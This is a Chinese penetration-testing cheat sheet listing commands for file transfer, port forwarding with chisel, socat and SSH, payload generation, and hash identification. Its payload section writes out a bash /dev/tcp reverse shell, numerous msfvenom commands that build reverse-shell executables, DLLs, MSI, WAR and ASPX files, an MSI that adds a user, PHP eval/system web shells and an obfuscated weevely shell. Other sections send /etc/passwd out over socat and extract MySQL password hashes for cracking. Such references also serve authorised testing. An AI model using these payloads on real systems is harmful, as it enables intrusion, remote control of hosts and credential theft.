跳到主要内容

速查手册

工欲善其事,必先利其器。

导航


文件传输

1、Goshs

服务端: goshs -p 443 -w -wp 80 【同时开启 http 和 webdav 服务】

上传客户端:curl -v -F "file=@test.txt" http://1.1.1.1:443/curl -T test.txt http://1.1.1.1:80/test.txt

下载客户端:wget http://1.1.1.1:443/test.txt curl -o test.txt http://1.1.1.1:443/test.txt

2、Nc

服务端:nc -lvnp 443 >test.txt 【对应上传客户端】、nc -lvnp 443 <test.txt 【对应下载客户端】

上传客户端:nc 1.1.1.1 443 <test.txtbash -c 'cat > /dev/tcp/1.1.1.1/443 < test.txt'

下载客户端:nc 1.1.1.1 443 >test.txtbash -c 'cat < /dev/tcp/1.1.1.1/443 > test.txt'

3、Socat

服务端:socat -U tcp-listen:1234,fork open:/etc/passwd【发送端】 客户端:socat -u tcp:127.0.0.1:1234 open:./passwd.txt,create【接收端】

4、Pyftpdlib

服务端:python -m pyftpdlib -w -p 21【允许 anonymous 用户登陆且可写的 ftp 服务】

交互客户端:ftp 1.1.1.1 21

上传客户端:curl -T test -u anonymous: ftp://1.1.1.1/test

下载客户端:wget --ftp-user=anonymous ftp://1.1.1.1/test -O test

4、SmbServer

服务端:impacket-smbserver share . -smb2support

上传客户端:copy test.txt \\1.1.1.1\share\

下载客户端:copy \\1.1.1.1\share\test.txt .

5、仅支持下载的 HTTP 服务端

php -S 0:80

python3 -m http.server 80

python2 -m SimpleHTTPServer 80

端口转发

1、Chisel

正向连接:client 的端口转发规则 1111:127.0.0.1:80 是指,先在 client 本地监听 1111 端口,后续凡端口 1111 接收到的包,都通过建立好的管道传给 server 端,然后 server 端再以自己的身份(即数据包的源 IP 地址是 server 的地址)再将其转发给 127.0.0.1:80 端口。【注意,这个 127.0.0.1:80 也可以是 server 能够访问的其它机器的服务。】

Server:chisel server -p 12345

Client:chisel client 1.1.1.1:12345 1111:127.0.0.1:80

反向连接:client 的端口转发规则 R:1111:127.0.0.1:80 是指,先在 server 端本地监听 1111 端口,后续凡端口 1111 接收到的包,都通过建立好的管道传给 client 端,然后 client 端再以自己的身份将其转发给 127.0.0.1:80 端口。【注意,这个 127.0.0.1:80 也可以是 client 能够访问的其它机器的服务。】

Server:chisel server -p 12345 --reverse

Client:chisel client 1.1.1.1:12345 R:1111:127.0.0.1:80

Socks 正向代理:client 的端口转发规则 1080:socks 是指,在 client 端开启一个 socks5 的代理端口,后续到来的任何目的端口的流量,都通过建立好的管道交给 server 端,由 server 端的身份代为请求。【对比正反向连接的优点便是,不用再一条一条的建立转发规则。】

Server:chisel server -p 12345 --socks5

Client:chisel client 1.1.1.1:12345 1080:socks

Socks 反向代理:client 的端口转发规则 R:1080:socks 是指,在 server 端开启一个 socks5 的代理端口,后续到来的任何目的端口的流量,都通过建立好的管道交给 client 端,由 client 端的身份代为请求。【对比正反向连接的优点便是,不用再一条一条的建立转发规则。】

Server:chisel server -p 12345 --reverse --socks5

Client:chisel client 1.1.1.1:12345 R:1080:socks

注意:当 server 端的机器是 windows 时,要特别注意防火墙,若此实验未能实验成功,很可能是防火墙所导致的。

2、Rtcp

Server:rtcp.py l:33066 c:127.0.0.1:3306

Client:rtcp.py l:3306 c:1.1.1.1:33066

此时,Client 端只要访问本地的 3306 端口,便能访问到原本只能在 Server 端本地访问的数据库服务。

3、Socat

Server:socat tcp-listen:33066,fork tcp:127.0.0.1:3306

Client:socat tcp-listen:3306,fork tcp:1.1.1.1:33066

此时,Client 端只要访问本地的 3306 端口,便能访问到原本只能在 Server 端本地访问的数据库服务。

4、SSH

参考文章:SSH 隧道使用

参数介绍:
-C 压缩传输,提高传输速度。
-f 将 SSH 传输转入后台执行,不占用当前 shell。
-N 建立静默连接(建立了连接但看不到具体会话)
-g 允许远程主机连接本地用于转发的端口。
-L 本地端口转发
-R 远程端口转发
-D 动态转发(SOCKS代理)

本地转发:对应 chisel 的正向连接。

ssh -CfNg -L 3389:1.1.1.1:3389 user@1.1.1.1

远程转发:对应 chisel 的反向连接。

ssh -CfNg -R 1234:127.0.0.1:22 user@1.1.1.1【此时,相当于在服务端建立了一个本地端口转发服务,前往 1234 端口的数据被转发到了本地的 22 端口,而我们是在客户端执行的命令,在客户端本地并未新增任何监听端口。】

动态转发:对应 chisel 的 socks 代理。

ssh -CfNg -D 1080 user@1.1.1.1

快速载荷

注:使用 msfvenom 制作载荷时,可以根据载荷名称后面的_和/的区别来指定生成载荷的类型是 无阶段载荷 还是 分阶段载荷。例如,linux/x86/shell_reverse_tcp 是无阶段载荷,而 linux/x86/shell/reverse_tcp 是分阶段载荷。

BASH

  • bash -c 'bash -i >& /dev/tcp/1.1.1.1/443 0>&1' 【支持 NC】
  • msfvenom -p cmd/unix/reverse_bash lhost=1.1.1.1 lport=443 -f raw -o shell.sh 【支持连接 MSF、NC】

注:(1)因为 /dev/tcp/ 是 Bash 特有的功能,因此只能在 Bash 环境中使用。(2)它并不是一个标准的 Linux 文件系统功能,而是 Bash 内建的扩展功能。

ELF

  • msfvenom -p linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=443 -f elf -o shell.elf 【支持连接 MSF、NC】

EXE

  • msfvenom -p windows/shell_reverse_tcp LHOST=1.1.1.1 LPORT=443 -f exe -o shell.exe 【支持连接 MSF、NC】
  • msfvenom -p windows/shell_hidden_bind_tcp LPORT=8889 AHOST=1.1.1.2 -f exe > hidden_shell.exe【支持连接 MSF、NC】【注:只有 1.1.1.2 用户才能够通过 nc 正向连接该 shell。】

PSH-CMD

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.20 LPORT=443 -f psh-cmd -o payload.txt 【支持连接 MSF、NC】

注:这是一种使用 cmd 命令启动 powershell 进程去执行加密的 base64 的代码,应该说它属于利用 powershell 技术的反向 shell 代码。

MSI

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=1.1.1.1 LPORT=443 --platform Windows -a x64 -f msi -o shell.msi 【支持连接 MSF、NC】
  • msfvenom -p windows/adduser USER=msi PASS=pass@123 -f msi -o adduser.msi 【创建新用户】

DLL

  • msfvenom -p windows/x64/powershell_reverse_tcp LHOST=1.1.1.1 LPORT=443 --platform windows -a x64 -f dll -o shell.dll 【支持连接 MSF、NC】

ShellCode

  • msfvenom -p windows/x64/powershell_reverse_tcp LHOST=1.1.1.1 LPORT=443 --platform windows -a x64 -f raw -o shell.bin 【支持连接 MSF、NC】

注:如需 shellcode 格式转换,可通过 CyberChef 进行。【步骤:Input(读 bin 文件)-Recipe(To Hex)-Output】

EXEC【命令打包】

  • msfvenom -p windows/x64/exec CMD="whoami.exe" --platform windows -f exe -o cmd.exe 【打包 Windows 任意命令】
  • msfvenom -p linux/x64/exec CMD="whoami" --platform linux -f elf -o cmd.elf 【打包 Linux 任意命令】

PHP

  • <?php eval($_REQUEST['ant']);?>
  • <?php system($_REQUEST['ant']);?>
  • weevely generate -obfuscator obfusc1_php ant shell.phpweevely terminal 'http://1.1.1.1/shell.php' ant

WAR

  • msfvenom -p java/jsp_shell_reverse_tcp LHOST=1.1.1.1 LPORT=443 -f war -o shell.war 【支持连接 MSF、NC】

JSP

  • msfvenom -p java/jsp_shell_reverse_tcp LHOST=1.1.1.1 LPORT=443 -f raw -o shell-reverse-443.jsp 【支持连接 MSF、NC】

ASPX

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=1.1.1.1 LPORT=443 --platform Windows -a x64 -f aspx -o shell.aspx 【支持连接 MSF、NC】

常见哈希

类型(j/h)标识制作备注
md5crypt/500$1$...mkpasswd -m md5crypt passwordLinux 系统常用
sha256crypt/7400$5$...mkpasswd -m sha256crypt passwordLinux 系统常用
sha512crypt/1800$6$...mkpasswd -m sha512crypt passwordLinux 系统常用
crypt/null$y$...mkpasswd -m yescrypt passwordLinux 系统常用
NT/10008846f7eaee8fb117ad06bdd830b7586cmkpasswd -m nt passwordWindows 系统常用
============
bcrypt/3200$2b$...$2y$...mkpasswd -m bcrypt passwordWeb 应用、数据库、编程库均可能使用
netntlmv2/5600admin:::08ca45b7d7ea58ee:...`echo -n 'password'/usr/share/john/pass_gen.pl netntlmv2`
phpass/400$P$...`echo -n 'password'/usr/share/john/pass_gen.pl phpass`
mysql-sha1/300*...`echo -n 'password'/usr/share/john/pass_gen.pl mysql-sha1`
null/7401$mysql$A$005*...MySQL 8.x 常用,认证插件:caching_sha2_password
pkzip/null$pkzip$...加密的 ZIP 压缩包哈希

注:MySQL 8.x 哈希提取方法可参考此文章,提取语句是:SELECT CONCAT('$mysql',LEFT(authentication_string,6),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM mysql.user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%' AND authentication_string !='';"